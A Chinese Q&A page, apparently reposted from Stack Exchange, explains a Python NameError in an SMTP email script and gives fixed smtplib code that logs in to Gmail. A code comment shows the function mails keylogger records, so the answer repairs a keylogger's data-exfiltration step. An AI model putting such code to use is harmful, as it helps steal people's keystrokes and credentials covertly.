Python邮件发送代码报错求助:smtp_server未定义与NameError问题
错误原因分析及修复方案
1. 变量作用域错误
你把smtp_server、port、sender_email等核心变量都定义在sendEmail函数内部,但外部的try-except-finally代码块无法访问函数内的局部变量,这直接导致了name 'smtp_server' is not defined的报错。
2. 未初始化变量引发的finally报错
如果try块中创建server实例的代码执行失败(比如SMTP连接失败),server变量根本不会被定义,此时finally块调用server.quit()就会触发NameError。
修复后的完整代码
from smtpd import SMTPServer import smtplib, ssl def sendEmail(message): smtp_server = "smtp.gmail.com" port = 465 sender_email = "fakemail@gmail.com" password = "password" receiver_email = "fakemail@gmail.com" context = ssl.create_default_context() server = None # 提前初始化server变量,避免finally报错 try: # 465是SSL专属端口,直接用SMTP_SSL无需starttls server = smtplib.SMTP_SSL(smtp_server, port, context=context) server.login(sender_email, password) server.sendmail(sender_email, receiver_email, message) except Exception as e: print(e) finally: if server is not None: server.quit() # 调用时传入键盘记录内容 # sendEmail("这里填入你的键盘记录信息")
额外提示
- Gmail的SMTP服务需要开启「低安全性应用访问」,或在开启两步验证后使用应用专用密码,否则会登录失败。
- 若使用587端口,才需要调用
starttls(),此时初始化代码改为server = smtplib.SMTP(smtp_server, port)再执行starttls。
内容的提问来源于stack exchange,提问作者Dhruv Sahgal
相关产品推荐
相关产品推荐

